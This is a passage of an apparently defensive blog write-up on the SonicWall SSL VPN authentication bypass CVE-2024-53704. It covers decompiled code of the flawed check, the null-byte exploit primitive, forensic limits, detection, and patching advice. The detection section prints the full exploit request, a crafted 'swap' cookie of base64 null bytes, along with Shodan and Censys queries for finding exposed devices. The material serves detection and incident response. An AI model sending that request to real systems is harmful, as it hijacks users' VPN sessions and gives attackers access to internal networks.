            &lt;span class=&quot;n&quot;&gt;maybe_free_mem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cookie_string_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;getSslvpnSessionFromCookie&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x201&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;nullptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This looks reasonable. It handles both raw 32-character session IDs and base64-encoded 44-character versions. But the bug isn’t here, it’s one level deeper in the session verification logic.&lt;/p&gt;

&lt;h3 id=&quot;the-logic-flaw-maybe_verify_session&quot;&gt;The Logic Flaw: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;maybe_verify_session&lt;/code&gt;&lt;/h3&gt;

&lt;p&gt;After checksum verification, the cookie is passed to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;maybe_verify_session&lt;/code&gt; to confirm it matches an active session. This function should compare the provided cookie string against actual session IDs character-by-character. Here’s where it goes wrong:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;maybe_verify_session&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cookie_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int32_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;session_idx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cookie_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;session&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;uint64_t&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data_6828180&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;uint64_t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;session_idx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;56&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;session&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;kt&quot;&gt;int64_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;idx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cookie_char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cookie_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;idx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cookie_char&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// If current character is not null&lt;/span&gt;
                    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;session_id_char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;uint8_t&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;session&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;idx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;session_id_char&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cookie_char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;session_id_char&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                            &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// Mismatch, try next session&lt;/span&gt;
                        &lt;span class=&quot;n&quot;&gt;idx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;idx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;sc&quot;&gt;&apos; &apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                            &lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
                &lt;span class=&quot;c1&quot;&gt;// If we get here without breaking, validation &quot;succeeds&quot;&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;j_sub_333fec0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rdi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;label_2acc2b3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// Return session&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;session&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;uint64_t&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;session&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;session&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;j_sub_333fec0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rdi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;label_2acc2b3:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;session&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;See the problem? The inner while loop checks each character:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;If &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cookie_char&lt;/code&gt; is not null, compare it to the session ID&lt;/li&gt;
  &lt;li&gt;If they don’t match, break and try the next session&lt;/li&gt;
  &lt;li&gt;If they do match, increment index and continue&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;But if &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cookie_char&lt;/code&gt; IS null&lt;/strong&gt;, the check fails immediately and execution falls through&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;There’s no &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;else&lt;/code&gt; clause. When the loop encounters a null byte, it doesn’t validate that character at all. Execution simply falls through to the success path, jumping directly to returning the session.&lt;/p&gt;

&lt;h3 id=&quot;the-exploit-primitive&quot;&gt;The Exploit Primitive&lt;/h3&gt;

&lt;p&gt;An attacker sends a base64-encoded cookie containing 32 null bytes. After base64 decoding:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;The checksum verification passes (null bytes have a predictable checksum)&lt;/li&gt;
  &lt;li&gt;The session verification loop immediately hits a null byte at index 0&lt;/li&gt;
  &lt;li&gt;The check &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;if (cookie_char)&lt;/code&gt; evaluates to false&lt;/li&gt;
  &lt;li&gt;No comparison happens&lt;/li&gt;
  &lt;li&gt;Execution falls through to the success path&lt;/li&gt;
  &lt;li&gt;The function returns the oldest active session&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;why-this-is-elegant&quot;&gt;Why This Is Elegant&lt;/h3&gt;

&lt;p&gt;The vulnerability isn’t in cookie parsing, cryptographic implementation, or session management. It’s purely a logic error in conditional flow. The developers assumed that any string reaching this function would be a valid 32-character session ID. They didn’t account for the possibility of a string that starts with null bytes, causing the validation loop to immediately exit without actually validating anything.&lt;/p&gt;

&lt;p&gt;Bishop Fox researchers found this by:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Using BinDiff to identify functions that changed between vulnerable and patched versions&lt;/li&gt;
  &lt;li&gt;Searching for strings related to SSL VPN session cookies&lt;/li&gt;
  &lt;li&gt;Analyzing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getSslvpnSessionFromCookie&lt;/code&gt; function and its callees&lt;/li&gt;
  &lt;li&gt;Identifying the missing conditional in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;maybe_verify_session&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The patch adds an explicit check: if the cookie character is null and the session ID character is not null, the validation fails. Simple fix, catastrophic oversight.&lt;/p&gt;

&lt;h2 id=&quot;forensic-considerations-and-limitations&quot;&gt;Forensic Considerations and Limitations&lt;/h2&gt;

&lt;p&gt;This is where defenders need to understand the brutal reality: CVE-2024-53704 exploitation leaves almost no forensic artifacts. The vulnerability exists in a logging blind spot that makes post-incident investigation extraordinarily difficult.&lt;/p&gt;

&lt;h3 id=&quot;what-you-wont-find&quot;&gt;What You Won’t Find&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;1. Failed Authentication Logs&lt;/strong&gt;
The vulnerability bypasses authentication entirely. There are no failed login attempts, no brute force patterns, no credential stuffing indicators. The attacker never attempts to authenticate. They just… inherit a session.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Separate Session Creation Events&lt;/strong&gt;
When an attacker hijacks a session, no new session is created from the firewall’s perspective. The existing legitimate session simply continues, now with two users controlling it. Standard SIEM queries looking for “session created from suspicious IP” will miss this entirely.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Traditional IOCs&lt;/strong&gt;
No malware is dropped, no persistence mechanisms are installed on the firewall itself, no configuration changes occur. The attack happens entirely at the HTTP request level, in memory.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Reliable Session Correlation Logs (by default)&lt;/strong&gt;
Most SonicWall deployments don’t log with enough granularity to correlate multiple source IPs to a single session ID. The default logging configuration was never designed to detect session hijacking.&lt;/p&gt;

&lt;h3 id=&quot;what-you-might-find-with-significant-caveats&quot;&gt;What You Might Find, With Significant Caveats&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;1. User Reports of Connection Interruptions&lt;/strong&gt;
This is your most reliable indicator, and it’s not even a log. Users whose sessions are hijacked will experience:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Repeated VPN disconnects and reconnects&lt;/li&gt;
  &lt;li&gt;Session terminations without logging out&lt;/li&gt;
  &lt;li&gt;“Someone else is using your account” type behavior&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If users report this, investigate immediately. Check the timeframe for anomalous source IPs accessing resources through that user’s account.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Multi-IP Session Access (requires custom logging)&lt;/strong&gt;
Bishop Fox noted: “With a custom logging configuration, a firewall administrator may be able to correlate access logs from multiple source IP addresses to a single SSL VPN session.”&lt;/p&gt;

&lt;p&gt;This requires:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Enabling detailed session tracking logs&lt;/li&gt;
  &lt;li&gt;Correlating session IDs with source IPs over time&lt;/li&gt;
  &lt;li&gt;Identifying patterns where a single session ID appears from multiple disparate source IPs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Most organizations don’t have this level of logging enabled by default.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Event ID 1153 Anomalies&lt;/strong&gt;
Per AttackerKB research, exploitation may generate Event ID 1153 logs with suspicious “reuse numbers.” This is not a reliable indicator alone, but combined with other suspicious activity (unknown source IP, impossible travel time, unusual resource access), it can support an investigation.&lt;/p&gt;

&lt;p&gt;Example log snippet:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Event ID: 1153
User: john
Message: SSL VPN session reused [suspicious reuse count]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;4. Anomalous Network Behavior Post-Exploitation&lt;/strong&gt;
After the attacker establishes the hijacked session, you might see:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Unusual internal network reconnaissance from a “trusted” VPN user&lt;/li&gt;
  &lt;li&gt;Access to resources the user doesn’t typically touch&lt;/li&gt;
  &lt;li&gt;Data exfiltration patterns&lt;/li&gt;
  &lt;li&gt;Lateral movement attempts&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But by the time you see this, the breach is already well underway.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. HTTP Access Logs (if you’re lucky)&lt;/strong&gt;
If you’re forwarding raw HTTP access logs from the firewall to a SIEM and they include request headers, you might find:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;GET requests to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/cgi-bin/sslvpnclient?launchplatform=&lt;/code&gt; from unexpected source IPs&lt;/li&gt;
  &lt;li&gt;Presence of suspicious base64-encoded &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;swap&lt;/code&gt; cookie values (all ‘A’s when base64-decoded become null bytes)&lt;/li&gt;
  &lt;li&gt;Multiple requests to this endpoint in rapid succession (scanning behavior)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;The Forensic Reality:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Successful exploitation of CVE-2024-53704 is designed to be forensically opaque. The attack:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Bypasses authentication (no failed login artifacts)&lt;/li&gt;
  &lt;li&gt;Hijacks existing sessions (no new session artifacts)&lt;/li&gt;
  &lt;li&gt;Operates in the authentication layer (below most logging granularity)&lt;/li&gt;
  &lt;li&gt;Leaves no persistence (attack is ephemeral)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Attribution and Investigation Challenges:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Even if you suspect compromise, attribution is nearly impossible:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;You can’t reliably determine when hijacking occurred&lt;/li&gt;
  &lt;li&gt;You can’t distinguish legitimate user activity from attacker activity within the same session&lt;/li&gt;
  &lt;li&gt;You can’t determine what data the attacker accessed without full session reconstruction&lt;/li&gt;
  &lt;li&gt;If the attacker established a VPN tunnel, network flow logs might show “normal” VPN user traffic&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Implications for Incident Response:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you’re running unpatched SonicWall SSL VPN infrastructure and you patch after reading this, you have a problem. You can’t reliably determine whether you were compromised during the exposure window. Standard forensic procedures don’t apply. Your options:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Assume breach and initiate full compromise assessment across internal network&lt;/li&gt;
  &lt;li&gt;Reset all VPN user credentials and revoke all active sessions&lt;/li&gt;
  &lt;li&gt;Implement enhanced monitoring going forward and watch for anomalies&lt;/li&gt;
  &lt;li&gt;Review firewall and internal network logs for any suspicious access patterns during the exposure window&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This is why patching immediately on vendor disclosure matters. The investigation costs after-the-fact are orders of magnitude higher than the cost of emergency maintenance windows.&lt;/p&gt;

&lt;h2 id=&quot;detection-and-hunting&quot;&gt;Detection and Hunting&lt;/h2&gt;

&lt;p&gt;Given the forensic limitations, detection strategies need to operate at multiple layers. You’re not going to catch this with a single Sigma rule.&lt;/p&gt;

&lt;h3 id=&quot;network-based-detection&quot;&gt;Network-Based Detection&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;1. HTTP Request Monitoring&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Monitor HTTP requests to SSL VPN endpoints for exploitation attempts:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /cgi-bin/sslvpnclient?launchplatform=
Cookie: swap=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The Nuclei template uses this exact pattern. Look for:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Requests to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/cgi-bin/sslvpnclient?launchplatform=&lt;/code&gt; with unusual &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;swap&lt;/code&gt; cookie values&lt;/li&gt;
  &lt;li&gt;Base64-encoded cookies that decode to all null bytes or similar patterns&lt;/li&gt;
  &lt;li&gt;Repeated requests to this endpoint from single source IPs (scanning)&lt;/li&gt;
  &lt;li&gt;Requests from IPs with no prior legitimate SSL VPN authentication&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;2. Shodan/External Scanning Detection&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Shodan query for exposed SonicWall SSL VPN instances:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;http.html_hash:-1466805544
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Organizations should:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Verify their SSL VPN instances aren’t exposed on Shodan&lt;/li&gt;
  &lt;li&gt;Monitor for scanning activity from known Shodan/Censys IP ranges&lt;/li&gt;
  &lt;li&gt;Implement rate limiting on the SSL VPN authentication endpoints&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;3. Network Flow Analysis&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;After successful exploitation, look for:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;VPN tunnel establishment from unexpected geographic locations&lt;/li&gt;
  &lt;li&gt;Impossible travel time (user VPN session from New York, then immediately from Russia)&lt;/li&gt;
  &lt;li&gt;Multiple concurrent VPN connections from same user account but different source IPs&lt;/li&gt;
  &lt;li&gt;VPN users accessing network segments they don’t typically touch&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;host-based-and-firewall-detection&quot;&gt;Host-Based and Firewall Detection&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;1. SonicWall Event Log Monitoring&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Enable verbose SSL VPN logging and monitor for:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Event ID 1153 with abnormal reuse patterns&lt;/li&gt;
  &lt;li&gt;Single session IDs associated with multiple source IPs over short time windows&lt;/li&gt;
  &lt;li&gt;VPN session disconnects followed immediately by reconnects&lt;/li&gt;
  &lt;li&gt;Session terminations without corresponding logout events&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;2. Internal Resource Access Monitoring&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Track SSL VPN user access patterns:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Baseline normal access patterns per user&lt;/li&gt;
  &lt;li&gt;Alert on access to resources outside user’s typical scope&lt;/li&gt;
  &lt;li&gt;Monitor for reconnaissance activity (port scanning, network mapping) from VPN users&lt;/li&gt;
  &lt;li&gt;Track data transfer volumes for anomalies&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;version-based-detection&quot;&gt;Version-Based Detection&lt;/h3&gt;

&lt;p&gt;Identify unpatched systems by firmware version:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Check SonicOS version via SNMP or management interface&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# Vulnerable: 7.1.1-7058 and earlier, 7.1.2-7019, 8.0.0-8035&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# Patched: 7.1.3-7015+, 8.0.0-8037+&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Censys Query for Exposed Instances:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;services.software: (vendor=&quot;SonicWall&quot; and product:{&quot;TZ&quot;,&quot;NSa&quot;,&quot;NSsp&quot;,&quot;NSv&quot;})
and not labels: {tarpit, honeypot}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Detection Limitations:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Even with these detection strategies, realize:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Post-exploitation detection is more reliable than detecting the initial exploit&lt;/li&gt;
  &lt;li&gt;Behavioral detection will generate false positives (traveling users, VPN users behind NAT)&lt;/li&gt;
  &lt;li&gt;Skilled attackers can mimic legitimate user behavior patterns&lt;/li&gt;
  &lt;li&gt;Without enhanced logging enabled proactively, you’re flying blind&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Recommended Detection Posture:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Assume compromise if you were running vulnerable versions with SSL VPN exposed&lt;/li&gt;
  &lt;li&gt;Implement enhanced logging immediately after patching&lt;/li&gt;
  &lt;li&gt;Establish baseline behavior for SSL VPN users&lt;/li&gt;
  &lt;li&gt;Monitor for post-exploitation indicators more than trying to detect the exploit itself&lt;/li&gt;
  &lt;li&gt;Threat hunt proactively in your environment rather than waiting for alerts&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;remediation-and-workarounds&quot;&gt;Remediation and Workarounds&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Primary Remediation: Patch Immediately&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Update to fixed firmware versions:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;SonicOS 7.1.3-7015 or later&lt;/li&gt;
  &lt;li&gt;SonicOS 8.0.0-8037 or later&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Critical Post-Patch Actions:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;After patching, don’t stop there:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Force Password Resets:&lt;/strong&gt; Assume that any active sessions during the vulnerable window could have been compromised. Reset VPN user credentials.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Revoke Active Sessions:&lt;/strong&gt; Terminate all existing SSL VPN sessions after patching to ensure no hijacked sessions persist.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Review Access Logs:&lt;/strong&gt; Check firewall and internal network logs for suspicious activity during the exposure window.&lt;/li&gt;
